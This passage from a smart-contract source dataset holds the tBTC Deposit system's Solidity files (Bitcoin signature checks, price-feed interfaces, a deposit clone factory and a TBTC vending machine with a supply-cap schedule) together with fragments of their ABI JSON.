}],"name":"provideFundingECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideRedemptionProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"}],"name":"provideRedemptionSignature","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"purchaseSignerBondsAtAuction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"remainingTerm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"_abortOutputScript","type":"bytes"}],"name":"requestFunderAbort","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"}],"name":"requestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
|||
Deposit | @summa-tx/bitcoin-spv-sol/contracts/CheckBitcoinSigs.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity ^0.5.10;
/** @title CheckBitcoinSigs */
/** @author Summa (https://summa.one) */
import {BytesLib} from "./BytesLib.sol";
import {BTCUtils} from "./BTCUtils.sol";
library CheckBitcoinSigs {
using BytesLib for bytes;
using BTCUtils for bytes;
/// @notice Derives an Ethereum Account address from a pubkey
/// @dev The address is the last 20 bytes of the keccak256 of the address
/// @param _pubkey The public key X & Y. Unprefixed, as a 64-byte array
/// @return The account address
function accountFromPubkey(bytes memory _pubkey) internal pure returns (address) {
require(_pubkey.length == 64, "Pubkey must be 64-byte raw, uncompressed key.");
// keccak hash of uncompressed unprefixed pubkey
bytes32 _digest = keccak256(_pubkey);
return address(uint256(_digest));
}
/// @notice Calculates the p2wpkh output script of a pubkey
/// @dev Compresses keys to 33 bytes as required by Bitcoin
/// @param _pubkey The public key, compressed or uncompressed
/// @return The p2wkph output script
function p2wpkhFromPubkey(bytes memory _pubkey) internal pure returns (bytes memory) {
bytes memory _compressedPubkey;
uint8 _prefix;
if (_pubkey.length == 64) {
_prefix = uint8(_pubkey[_pubkey.length - 1]) % 2 == 1 ? 3 : 2;
_compressedPubkey = abi.encodePacked(_prefix, _pubkey.slice(0, 32));
} else if (_pubkey.length == 65) {
_prefix = uint8(_pubkey[_pubkey.length - 1]) % 2 == 1 ? 3 : 2;
_compressedPubkey = abi.encodePacked(_prefix, _pubkey.slice(1, 32));
} else {
_compressedPubkey = _pubkey;
}
require(_compressedPubkey.length == 33, "Witness PKH requires compressed keys");
bytes memory _pubkeyHash = _compressedPubkey.hash160();
return abi.encodePacked(hex"0014", _pubkeyHash);
}
/// @notice checks a signed message's validity under a pubkey
/// @dev does this using ecrecover because Ethereum has no soul
/// @param _pubkey the public key to check (64 bytes)
/// @param _digest the message digest signed
/// @param _v the signature recovery value
/// @param _r the signature r value
/// @param _s the signature s value
/// @return true if signature is valid, else false
function checkSig(
bytes memory _pubkey,
bytes32 _digest,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal pure returns (bool) {
require(_pubkey.length == 64, "Requires uncompressed unprefixed pubkey");
address _expected = accountFromPubkey(_pubkey);
address _actual = ecrecover(_digest, _v, _r, _s);
return _actual == _expected;
}
/// @notice checks a signed message against a bitcoin p2wpkh output script
/// @dev does this my verifying the p2wpkh matches an ethereum account
/// @param _p2wpkhOutputScript the bitcoin output script
/// @param _pubkey the uncompressed, unprefixed public key to check
/// @param _digest the message digest signed
/// @param _v the signature recovery value
/// @param _r the signature r value
/// @param _s the signature s value
/// @return true if signature is valid, else false
function checkBitcoinSig(
bytes memory _p2wpkhOutputScript,
bytes memory _pubkey,
bytes32 _digest,
uint8 _v,
bytes32 _r,
bytes32 _s
) internal pure returns (bool) {
require(_pubkey.length == 64, "Requires uncompressed unprefixed pubkey");
bool _isExpectedSigner = keccak256(p2wpkhFromPubkey(_pubkey)) == keccak256(_p2wpkhOutputScript); // is it the expected signer?
if (!_isExpectedSigner) {return false;}
bool _sigResult = checkSig(_pubkey, _digest, _v, _r, _s);
return _sigResult;
}
/// @notice checks if a message is the sha256 preimage of a digest
/// @dev this is NOT the hash256! this step is necessary for ECDSA security!
/// @param _digest the digest
/// @param _candidate the purported preimage
/// @return true if the preimage matches the digest, else false
function isSha256Preimage(
bytes memory _candidate,
bytes32 _digest
) internal pure returns (bool) {
return sha256(_candidate) == _digest;
}
/// @notice checks if a message is the keccak256 preimage of a digest
/// @dev this step is necessary for ECDSA security!
/// @param _digest the digest
/// @param _candidate the purported preimage
/// @return true if the preimage matches the digest, else false
function isKeccak256Preimage(
bytes memory _candidate,
bytes32 _digest
) internal pure returns (bool) {
return keccak256(_candidate) == _digest;
}
/// @notice calculates the signature hash of a Bitcoin transaction with the provided details
/// @dev documented in bip143. many values are hardcoded here
/// @param _outpoint the bitcoin UTXO id (32-byte txid + 4-byte output index)
/// @param _inputPKH the input pubkeyhash (hash160(sender_pubkey))
/// @param _inputValue the value of the input in satoshi
/// @param _outputValue the value of the output in satoshi
/// @param _outputScript the length-prefixed output script
/// @return the double-sha256 (hash256) signature hash as defined by bip143
function wpkhSpendSighash(
bytes memory _outpoint, // 36-byte UTXO id
bytes20 _inputPKH, // 20-byte hash160
bytes8 _inputValue, // 8-byte LE
bytes8 _outputValue, // 8-byte LE
bytes memory _outputScript // lenght-prefixed output script
) internal pure returns (bytes32) {
// Fixes elements to easily make a 1-in 1-out sighash digest
// Does not support timelocks
bytes memory _scriptCode = abi.encodePacked(
hex"1976a914", // length, dup, hash160, pkh_length
_inputPKH,
hex"88ac"); // equal, checksig
bytes32 _hashOutputs = abi.encodePacked(
_outputValue, // 8-byte LE
_outputScript).hash256();
bytes memory _sighashPreimage = abi.encodePacked(
hex"01000000", // version
_outpoint.hash256(), // hashPrevouts
hex"8cb9012517c817fead650287d61bdd9c68803b6bf9c64133dcab3e65b5a50cb9", // hashSequence(00000000)
_outpoint, // outpoint
_scriptCode, // p2wpkh script code
_inputValue, // value of the input in 8-byte LE
hex"00000000", // input nSequence
_hashOutputs, // hash of the single output
hex"00000000", // nLockTime
hex"01000000" // SIGHASH_ALL
);
return _sighashPreimage.hash256();
}
/// @notice calculates the signature hash of a Bitcoin transaction with the provided details
/// @dev documented in bip143. many values are hardcoded here
/// @param _outpoint the bitcoin UTXO id (32-byte txid + 4-byte output index)
/// @param _inputPKH the input pubkeyhash (hash160(sender_pubkey))
/// @param _inputValue the value of the input in satoshi
/// @param _outputValue the value of the output in satoshi
/// @param _outputPKH the output pubkeyhash (hash160(recipient_pubkey))
/// @return the double-sha256 (hash256) signature hash as defined by bip143
function wpkhToWpkhSighash(
bytes memory _outpoint, // 36-byte UTXO id
bytes20 _inputPKH, // 20-byte hash160
bytes8 _inputValue, // 8-byte LE
bytes8 _outputValue, // 8-byte LE
bytes20 _outputPKH // 20-byte hash160
) internal pure returns (bytes32) {
return wpkhSpendSighash(
_outpoint,
_inputPKH,
_inputValue,
_outputValue,
abi.encodePacked(
hex"160014", // wpkh tag
_outputPKH)
);
}
/// @notice Preserved for API compatibility with older version
/// @dev documented in bip143. many values are hardcoded here
/// @param _outpoint the bitcoin UTXO id (32-byte txid + 4-byte output index)
/// @param _inputPKH the input pubkeyhash (hash160(sender_pubkey))
/// @param _inputValue the value of the input in satoshi
/// @param _outputValue the value of the output in satoshi
/// @param _outputPKH the output pubkeyhash (hash160(recipient_pubkey))
/// @return the double-sha256 (hash256) signature hash as defined by bip143
function oneInputOneOutputSighash(
bytes memory _outpoint, // 36-byte UTXO id
bytes20 _inputPKH, // 20-byte hash160
bytes8 _inputValue, // 8-byte LE
bytes8 _outputValue, // 8-byte LE
bytes20 _outputPKH // 20-byte hash160
) internal pure returns (bytes32) {
return wpkhToWpkhSighash(_outpoint, _inputPKH, _inputValue, _outputValue, _outputPKH);
}
} | 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|||
Deposit | solidity/contracts/external/IMedianizer.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
/// @notice A medianizer price feed.
/// @dev Based off the MakerDAO medianizer (https://github.com/makerdao/median)
interface IMedianizer {
/// @notice Get the current price.
/// @dev May revert if caller not whitelisted.
/// @return Designated price with 18 decimal places.
function read() external view returns (uint256);
/// @notice Get the current price and check if the price feed is active
/// @dev May revert if caller not whitelisted.
/// @return Designated price with 18 decimal places.
/// @return true if price is > 0, else returns false
function peek() external view returns (uint256, bool);
} | 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|||
Deposit | solidity/contracts/interfaces/ISatWeiPriceFeed.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import "../external/IMedianizer.sol";
/// @notice satoshi/wei price feed interface.
interface ISatWeiPriceFeed {
/// @notice Get the current price of 1 satoshi in wei.
/// @dev This does not account for any 'Flippening' event.
/// @return The price of one satoshi in wei.
function getPrice() external view returns (uint256);
/// @notice add a new ETH/BTC meidanizer to the internal ethBtcFeeds array
function addEthBtcFeed(IMedianizer _ethBtcFeed) external;
} | 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payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
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Deposit | solidity/contracts/proxy/DepositFactory.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import "./CloneFactory.sol";
import "../deposit/Deposit.sol";
import "../system/TBTCSystem.sol";
import "../system/TBTCToken.sol";
import "../system/FeeRebateToken.sol";
import "../system/TBTCSystemAuthority.sol";
import {TBTCDepositToken} from "../system/TBTCDepositToken.sol";
/// @title Deposit Factory
/// @notice Factory for the creation of new deposit clones.
/// @dev We avoid redeployment of deposit contract by using the clone factory.
/// Proxy delegates calls to Deposit and therefore does not affect deposit state.
/// This means that we only need to deploy the deposit contracts once.
/// The factory provides clean state for every new deposit clone.
contract DepositFactory is CloneFactory, TBTCSystemAuthority{
// Holds the address of the deposit contract
// which will be used as a master contract for cloning.
address payable public masterDepositAddress;
TBTCDepositToken tbtcDepositToken;
TBTCSystem public tbtcSystem;
TBTCToken public tbtcToken;
FeeRebateToken public feeRebateToken;
address public vendingMachineAddress;
constructor(address _systemAddress)
TBTCSystemAuthority(_systemAddress)
public {}
/// @dev Set the required external variables.
/// @param _masterDepositAddress The address of the master deposit contract.
/// @param _tbtcSystem Tbtc system contract.
/// @param _tbtcToken TBTC token contract.
/// @param _tbtcDepositToken TBTC Deposit Token contract.
/// @param _feeRebateToken AFee Rebate Token contract.
/// @param _vendingMachineAddress Address of the Vending Machine contract.
function setExternalDependencies(
address payable _masterDepositAddress,
TBTCSystem _tbtcSystem,
TBTCToken _tbtcToken,
TBTCDepositToken _tbtcDepositToken,
FeeRebateToken _feeRebateToken,
address _vendingMachineAddress
) external onlyTbtcSystem {
masterDepositAddress = _masterDepositAddress;
tbtcDepositToken = _tbtcDepositToken;
tbtcSystem = _tbtcSystem;
tbtcToken = _tbtcToken;
feeRebateToken = _feeRebateToken;
vendingMachineAddress = _vendingMachineAddress;
}
event DepositCloneCreated(address depositCloneAddress);
/// @notice Creates a new deposit instance and mints a TDT. This function is
/// currently the only way to create a new deposit.
/// @dev Calls `Deposit.initializeDeposit` to initialize the instance. Mints
/// the TDT to the function caller. (See `TBTCDepositToken` for more
/// info on TDTs). Reverts if new deposits are currently paused, if the
/// specified lot size is not currently permitted, or if the selection
/// of the signers fails for any reason. Also reverts if the bonds
/// collateralizing the deposit would not be enough to cover a refund
/// of the deposit creation fee, should the signer group fail to
/// complete its setup process.
/// @return The address of the new deposit.
function createDeposit(uint64 _lotSizeSatoshis) external payable returns(address) {
address cloneAddress = createClone(masterDepositAddress);
emit DepositCloneCreated(cloneAddress);
TBTCDepositToken(tbtcDepositToken).mint(msg.sender, uint256(cloneAddress));
Deposit deposit = Deposit(address(uint160(cloneAddress)));
deposit.initialize(address(this));
deposit.initializeDeposit.value(msg.value)(
tbtcSystem,
tbtcToken,
tbtcDepositToken,
feeRebateToken,
vendingMachineAddress,
_lotSizeSatoshis
);
return cloneAddress;
}
} | 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ITBTCSystem","name":"_tbtcSystem","type":"address"},{"internalType":"contract TBTCToken","name":"_tbtcToken","type":"address"},{"internalType":"contract IERC721","name":"_tbtcDepositToken","type":"address"},{"internalType":"contract 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|||
Deposit | solidity/contracts/system/VendingMachine.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
import {SafeMath} from "openzeppelin-solidity/contracts/math/SafeMath.sol";
import {TBTCDepositToken} from "./TBTCDepositToken.sol";
import {FeeRebateToken} from "./FeeRebateToken.sol";
import {TBTCToken} from "./TBTCToken.sol";
import {TBTCConstants} from "./TBTCConstants.sol";
import "../deposit/Deposit.sol";
import "./TBTCSystemAuthority.sol";
/// @title Vending Machine
/// @notice The Vending Machine swaps TDTs (`TBTCDepositToken`)
/// to TBTC (`TBTCToken`) and vice versa.
/// @dev The Vending Machine should have exclusive TBTC and FRT (`FeeRebateToken`) minting
/// privileges.
contract VendingMachine is TBTCSystemAuthority{
using SafeMath for uint256;
TBTCToken tbtcToken;
TBTCDepositToken tbtcDepositToken;
FeeRebateToken feeRebateToken;
uint256 createdAt;
constructor(address _systemAddress)
TBTCSystemAuthority(_systemAddress)
public {
createdAt = block.timestamp;
}
/// @notice Set external contracts needed by the Vending Machine.
/// @dev Addresses are used to update the local contract instance.
/// @param _tbtcToken TBTCToken contract. More info in `TBTCToken`.
/// @param _tbtcDepositToken TBTCDepositToken (TDT) contract. More info in `TBTCDepositToken`.
/// @param _feeRebateToken FeeRebateToken (FRT) contract. More info in `FeeRebateToken`.
function setExternalAddresses(
TBTCToken _tbtcToken,
TBTCDepositToken _tbtcDepositToken,
FeeRebateToken _feeRebateToken
) external onlyTbtcSystem {
tbtcToken = _tbtcToken;
tbtcDepositToken = _tbtcDepositToken;
feeRebateToken = _feeRebateToken;
}
/// @notice Burns TBTC and transfers the tBTC Deposit Token to the caller
/// as long as it is qualified.
/// @dev We burn the lotSize of the Deposit in order to maintain
/// the TBTC supply peg in the Vending Machine. VendingMachine must be approved
/// by the caller to burn the required amount.
/// @param _tdtId ID of tBTC Deposit Token to buy.
function tbtcToTdt(uint256 _tdtId) external {
require(tbtcDepositToken.exists(_tdtId), "tBTC Deposit Token does not exist");
require(isQualified(address(_tdtId)), "Deposit must be qualified");
uint256 depositValue = Deposit(address(uint160(_tdtId))).lotSizeTbtc();
require(tbtcToken.balanceOf(msg.sender) >= depositValue, "Not enough TBTC for TDT exchange");
tbtcToken.burnFrom(msg.sender, depositValue);
// TODO do we need the owner check below? transferFrom can be approved for a user, which might be an interesting use case.
require(tbtcDepositToken.ownerOf(_tdtId) == address(this), "Deposit is locked");
tbtcDepositToken.transferFrom(address(this), msg.sender, _tdtId);
}
/// @notice Transfer the tBTC Deposit Token and mint TBTC.
/// @dev Transfers TDT from caller to vending machine, and mints TBTC to caller.
/// Vending Machine must be approved to transfer TDT by the caller.
/// @param _tdtId ID of tBTC Deposit Token to sell.
function tdtToTbtc(uint256 _tdtId) public {
require(tbtcDepositToken.exists(_tdtId), "tBTC Deposit Token does not exist");
require(isQualified(address(_tdtId)), "Deposit must be qualified");
tbtcDepositToken.transferFrom(msg.sender, address(this), _tdtId);
Deposit deposit = Deposit(address(uint160(_tdtId)));
uint256 signerFee = deposit.signerFeeTbtc();
uint256 depositValue = deposit.lotSizeTbtc();
require(canMint(depositValue), "Can't mint more than the max supply cap");
// If the backing Deposit does not have a signer fee in escrow, mint it.
if(tbtcToken.balanceOf(address(_tdtId)) < signerFee) {
tbtcToken.mint(msg.sender, depositValue.sub(signerFee));
tbtcToken.mint(address(_tdtId), signerFee);
}
else{
tbtcToken.mint(msg.sender, depositValue);
}
// owner of the TDT during first TBTC mint receives the FRT
if(!feeRebateToken.exists(_tdtId)){
feeRebateToken.mint(msg.sender, _tdtId);
}
}
/// @notice Return whether an amount of TBTC can be minted according to the supply cap
/// schedule
/// @dev This function is also used by TBTCSystem to decide whether to allow a new deposit.
/// @return True if the amount can be minted without hitting the max supply, false otherwise.
function canMint(uint256 amount) public view returns (bool) {
return getMintedSupply().add(amount) < getMaxSupply();
}
/// @notice Determines whether a deposit is qualified for minting TBTC.
/// @param _depositAddress The address of the deposit
function isQualified(address payable _depositAddress) public view returns (bool) {
return Deposit(_depositAddress).inActive();
}
/// @notice Return the minted TBTC supply in weitoshis (BTC * 10 ** 18).
function getMintedSupply() public view returns (uint256) {
return tbtcToken.totalSupply();
}
/// @notice Get the maximum TBTC token supply based on the age of the
/// contract deployment. The supply cap starts at 2 BTC for the two
/// days, 100 for the first week, 250 for the next, then 500, 750,
/// 1000, 1500, 2000, 2500, and 3000... finally removing the minting
/// restriction after 9 weeks and returning 21M BTC as a sanity
/// check.
/// @return The max supply in weitoshis (BTC * 10 ** 18).
function getMaxSupply() public view returns (uint256) {
uint256 age = block.timestamp - createdAt;
if(age < 2 days) {
return 2 * 10 ** 18;
}
if (age < 7 days) {
return 100 * 10 ** 18;
}
if (age < 14 days) {
return 250 * 10 ** 18;
}
if (age < 21 days) {
return 500 * 10 ** 18;
}
if (age < 28 days) {
return 750 * 10 ** 18;
}
if (age < 35 days) {
return 1000 * 10 ** 18;
}
if (age < 42 days) {
return 1500 * 10 ** 18;
}
if (age < 49 days) {
return 2000 * 10 ** 18;
}
if (age < 56 days) {
return 2500 * 10 ** 18;
}
if (age < 63 days) {
return 3000 * 10 ** 18;
}
return 21e6 * 10 ** 18;
}
// WRAPPERS
/// @notice Qualifies a deposit and mints TBTC.
/// @dev User must allow VendingManchine to transfer TDT.
function unqualifiedDepositToTbtc(
address payable _depositAddress,
bytes4 _txVersion,
bytes memory _txInputVector,
bytes memory _txOutputVector,
bytes4 _txLocktime,
uint8 _fundingOutputIndex,
bytes memory _merkleProof,
uint256 _txIndexInBlock,
bytes memory _bitcoinHeaders
) public { // not external to allow bytes memory parameters
Deposit _d = Deposit(_depositAddress);
_d.provideBTCFundingProof(
_txVersion,
_txInputVector,
_txOutputVector,
_txLocktime,
_fundingOutputIndex,
_merkleProof,
_txIndexInBlock,
_bitcoinHeaders
);
tdtToTbtc(uint256(_depositAddress));
}
/// @notice Redeems a Deposit by purchasing a TDT with TBTC for _finalRecipient,
/// and using the TDT to redeem corresponding Deposit as _finalRecipient.
/// This function will revert if the Deposit is not in ACTIVE state.
/// @dev Vending Machine transfers TBTC allowance to Deposit.
/// @param _depositAddress The address of the Deposit to redeem.
/// @param _outputValueBytes The 8-byte Bitcoin transaction output size in Little Endian.
/// @param _redeemerOutputScript The redeemer's length-prefixed output script.
function tbtcToBtc(
address payable _depositAddress,
bytes8 _outputValueBytes,
bytes memory _redeemerOutputScript
) public { // not external to allow bytes memory parameters
require(tbtcDepositToken.exists(uint256(_depositAddress)), "tBTC Deposit Token does not exist");
Deposit _d = Deposit(_depositAddress);
tbtcToken.burnFrom(msg.sender, _d.lotSizeTbtc());
tbtcDepositToken.approve(_depositAddress, uint256(_depositAddress));
uint256 tbtcOwed = _d.getOwnerRedemptionTbtcRequirement(msg.sender);
if(tbtcOwed != 0){
tbtcToken.transferFrom(msg.sender, address(this), tbtcOwed);
tbtcToken.approve(_depositAddress, tbtcOwed);
}
_d.transferAndRequestRedemption(_outputValueBytes, _redeemerOutputScript, msg.sender);
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"auctionValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"collateralizationPercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currentState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"exitCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"fundingInfo","outputs":[{"internalType":"bytes8","name":"utxoValueBytes","type":"bytes8"},{"internalType":"uint256","name":"fundedAt","type":"uint256"},{"internalType":"bytes","name":"utxoOutpoint","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getOwnerRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"inActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_previousOutputValueBytes","type":"bytes8"},{"internalType":"bytes8","name":"_newOutputValueBytes","type":"bytes8"}],"name":"increaseRedemptionFee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"initialCollateralizedPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_factory","type":"address"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"contract ITBTCSystem","name":"_tbtcSystem","type":"address"},{"internalType":"contract TBTCToken","name":"_tbtcToken","type":"address"},{"internalType":"contract IERC721","name":"_tbtcDepositToken","type":"address"},{"internalType":"contract FeeRebateToken","name":"_feeRebateToken","type":"address"},{"internalType":"address","name":"_vendingMachineAddress","type":"address"},{"internalType":"uint64","name":"_lotSizeSatoshis","type":"uint64"}],"name":"initializeDeposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"keepAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeSatoshis","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCallExpired","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyFundingTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionProofTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionSignatureTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifySignerSetupFailed","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyUndercollateralizedLiquidation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"uint8","name":"_fundingOutputIndex","type":"uint8"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideBTCFundingProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideFundingECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideRedemptionProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"}],"name":"provideRedemptionSignature","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"purchaseSignerBondsAtAuction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"remainingTerm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"_abortOutputScript","type":"bytes"}],"name":"requestFunderAbort","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"}],"name":"requestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalTy